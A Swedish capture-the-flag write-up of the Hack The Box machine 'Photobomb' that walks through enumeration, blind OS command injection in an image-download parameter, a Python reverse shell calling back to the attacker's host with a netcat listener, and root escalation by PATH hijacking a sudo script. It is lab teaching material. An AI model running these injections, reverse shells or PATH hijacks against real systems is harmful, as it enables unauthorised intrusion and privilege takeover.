Photobomb

En easy-box med en webbapplikation som är sårbar för OS command injection, för privilegie-eskalering nyttjas en sårbarhet i PATH.

Steg 1 - Enumeration och Footprinting av tjänster

Jag börjar med att köra Nmap för att se vilka portar som är öppna.

nmap 10.10.11.182 -A -oA nmap-scan

Vi kan se att port 80 och 22 är öppen. För port 80 ser vi att det körs en webbapplikation med NGINX 1.18.0 och att OS:et är Ubuntu. Webbsidan som host:as där heter Photobomb och det finns en redirect till http://photobomb.htb, jag lägger in den i /etc/hosts-filen och testar sen att surfa dit.

Möts av en sida som har ganska begränsad funktionalitet. Det finns inte så mycket mer än en länk att klicka på som heter "click here", den säger även att våra inloggningsuppgifter finns i vårt "Welcome pack" (vad det nu är). Klickar man på länken får man upp en inloggningsprompt (http://photobomb.htb/printer). Efter att ha testat lite olika default-uppgifter som admin/admin osv. som inte fungerade så konstaterar jag att det nog inte kommer komma in på det sättet.

Jag testar att köra Gobuster för att se om man kan hitta några intressanta sökvägar.

gobuster dir -u http://photobomb.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 100

Detta genererade inte heller något intressant. Under tiden som Gobuster körde så testade jag att manuellt försöka hitta intressanta sökvägar. Det enda jag hittade var att om man anger en icke existerande sida så får man upp följande information, sidan körs med hjälp av Sinatra som bygger på programmeringsspråket Ruby, detta lägger vi till i våra anteckningar.

Om jag inte hittar något annat att gå på så kan man försöka identifiera vilken version som körs och se om det finns några sårbarheter i den som vi kan utnyttja.

Åter till webbsidan. En sak man kan kolla är källkoden på sidan, i bästa fall har någon kanske lämnat inloggningsuppgifter som sen glömts bort.

Det finns inte så mycket i källkoden att jobba med, dock så finns det ett skript som heter "photobomb.js", tittar man närmre på detta så hittar vi faktiskt vad som ser ut som inloggningsuppgifter!

Om man testar att logga in med uppgifterna via inloggningsprompten på "http://photobomb.htb/printer"-sidan så lyckas vi komma in och möts då av en sida som verkar tillåta oss att ladda ner bilder i olika storlekar. Det går även att välja olika filformat som JPG eller PNG osv.

---

Steg 2 - Initial Access och user-flaggan

Efter att ha testat funktionaliteten så vill jag se hur HTTP REQUESTS ser ut när man laddar ner en bild. För detta använder jag Burp Suite och Foxyproxy. Vi kan då fånga en REQUEST och för att kunna testa den så skickar jag den till "Repeater"-funktionen i Burp. Här kan man sedan modifiera request:en och skicka den om och om för att se hur svaren skiljer sig.

Längst ner i request:en finns det tre parametrar som verkar definiera vilken bild, filtyp och storlek på bilden som vi vill hämta ska ha. Efter mycket trixande och försök att påverka dessa parametrar (längre än jag vill erkänna) så kan jag konstatera att "filetype"-parametern är sårbar för vad som kallas "OS Command Injection".

Kommandoinjektion är en sårbarhet som innebär att man kan skicka kommandon direkt till operativsystemet på servern som host:ar webbapplikationen via en HTTP Request. Det gör att man kan få ut känslig information från servern, ex. "/etc/passwd"-filen eller "id_rsa"-filen för SSH-åtkomst i svaret från servern (HTTP Response).

Portswigger har en jättebra modul som behandlar OS Command Injection, om man vill lära sig mer om hur det fungerar.

What is OS command injection, and how to prevent it? | Web Security AcademyWebSecAcademy

I det här fallet gäller sårbarheten s.k. blind kommandoinjektion (Blind OS Command Injection), det betyder att vi inte får ett direkt svar från servern i HTTP Response utan man måste testa detta på andra sätt, exempelvis genom ping-kommandot som de anger i Portswigger-artikeln eller så kan man nyttja "sleep"-kommandot. Det som sker då är att servern tar längre tid på sig att svara för att den först exekverar de kommandon som vi injicerar. På detta sätt kan vi identifiera att servern är sårbar för att svaret tar längre tid än vanligt. När det gäller ping-kommandot så kan man göra en ping-snurra på t.ex. 5 ICMP Echo Requests (ping -c 5 <tun0-adress> och hänvisa det till vår IP-adress på tun0-interfacet. Då behöver vi initiera tcpdump på vår egen maskin för att kunna fånga dessa. Kör man istället "sleep"-kommandot så kan man ange "sleep 5" för att fördröja svaret 5 sekunder och se hur servern svarar.

Jag kommer visa ping-kommandot då det är svårt att visa "sleep"-kommandot med en stillbild.

;ping -c 3 <IP-adress till egen maskin> 
#semikolon använder vi för att visa att ett nytt statement påbörjas, efter "jpg"
#-c betyder att den ska sluta efter det angivna antalet svar som mottagits, i det här fallet 3

Kommandot som man anger i Burp-requesten måste vi dessutom URL-koda, det gör vi genom att markera det vi vill ändra och sedan trycka CTRL+U. Då ser det ut så här:

Därefter sätter jag upp TCPDUMP på min egen maskin för att kunna fånga ICMP Echo Requests som vi skickar:

sudo tcpdump -ni tun0 icmp

Växlarna "-ni" säger till tcpdump att inte göra namnuppslag (n) och att lyssna på specificerat (i) interface (tun0), "icmp" innebär att vi bara är intresserade av ICMP-trafik.

Vi har nu konstaterat att man kan utnyttja sårbarheten för att injicera kommandon. Låt oss försöka injicera ett reverse shell och få access till servern. Jag valde att använda ett ifrån en jättebra sida som heter:

Online - Reverse Shell Generator

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.?.?",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

För att fånga vårt reverse shell måste vi även sätta upp en lyssnare med hjälp av Netcat.

nc -lvnp 4242
# -l står för att den ska lyssna efter trafik
# -v står för verbose, alltså skriv ut mer information
# -n innebär att vi inaktiverar namnuppslag (ingen DNS)
# -p står för port, vilken port vi vill lyssna på

Då behöver vi bara lägga in vårt reverse shell i Burp-requesten, URL-koda den och sedan skicka request:en.

Kollar vi sedan vår Netcat-terminal så ser vi att:

Vi har fått access in till servern som användaren "wizard", vilket visserligen är lite udda. Brukar vanligtvis vara "www" när det kommer till webbapplikationer.

Shell:et är inte så interaktivt i detta läget, man kan t.ex inte autokomplettera sökvägar eller gå tillbaka i historiken. För att uppgradera shell:et till ett fullt interaktivt kör man följande kommandon:

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z #för att sätta shell:et i bakgrunden och få tillbaka vår prompt
stty raw -echo; fg #fg ger oss vårt shell tillbaka
export TERM=xterm-256color

Efter detta har vi ett fullt interaktivt shell.

---

Steg 3 - Privilegie-eskalering och root-flaggan

Bland det första jag brukar kolla är sudo-rättigheterna. Det gör man med följande kommando:

sudo -l

Vi ser då att det finns ett shell-skript som vi har rätt att köra som "root" med sudo utan lösenord (NOPASSWD) som heter cleanup.sh och finns i mappen /opt/.

Det som också är intressant är att vi har rätt att sätta miljö-variabler med SETENV. Först kollar vi in skriptet.

Här finns en sårbarhet som tillåter PATH-injicering. Två av programmen har absoluta sökvägar (/bin/cat och /usr/bin/truncate) men tittar man lite längre ner i skriptet så finns det ett kommando som saknar absolut sökväg för programmet som ska användas (find). Eftersom vi har rättigheter att sätta egna miljövariabler (SETENV) så kan vi definiera varifrån OS:et ska söka efter programmet.

Beskrivning av $PATH

Miljövariabeln $PATH innehåller de sökvägar som operativsystemet söker i när den vill köra ett program. T.ex. om man vill Base64-koda något så använder man programmet "base64". För att OS:et ska kunna köra detta så måste den kunna hitta programmet. I $PATH-variabeln finns det från start definierat vilka dessa sökvägar är. Så här ser det ut om jag print:ar $PATH:

echo $PATH

Det är helt enkelt en lista med sökvägar separerade med ett kolon. OS:et kommer söka från höger till vänster och stannar när den hittat programmet. Om man då kollar var "base64" finns:

which base64

Så ser man att den finns under "/usr/bin/base64", det är programmets absoluta sökväg. Definierar man inte den absoluta sökvägen i t.ex ett skript och dessutom ger en användare möjligheten att sätta egna miljövariabler så öppnar man upp för PATH-injektion. Det innebär att en användare själv kan definiera var OS:et ska söka efter program. Som vi såg i "sudo -l"-bilden står det högre upp att den återställer $PATH enligt det som definieras under, men med "SETENV" kan vi därefter själva bestämma sökvägen. Skapar man då ett eget skript med samma namn (find) som refereras till i "cleanup.sh" så kommer OS:et söka i vår egna sökväg, hitta ett program som heter "find" och exekvera det.

Exploatering av sårbarheten

Vi skapar först ett eget program/skript som heter likadant och lägger det på en plats som ex. "/home/wizard", som vi har tillgång till.

nano find

Vi skapar ett bash-skript som kör bash och sparar detta. Därefter gör vi det exekverbart med "chmod +x find".

Slutligen kör vi "cleanup"-skriptet där vi även definierar vår egen PATH:

En summering av kommandon som kördes:

#Skapar en ny fil med samma namn som programmet vi vill imitera
nano find

#Definierar filen som ett bash-program med en shebang och startar ett bash-shell, spara filen
#!/bin/bash
bash

#Vi gör programmet exekverbart
chmod +x find

#Vi kör cleanup-skriptet med våra egna definierade PATH 
sudo PATH=/home/wizard:$PATH /opt/cleanup.sh

# Print:ar ROOT-flaggan (root.txt)
cat /root/root.txt

Och vi får tag i ROOT-flaggan!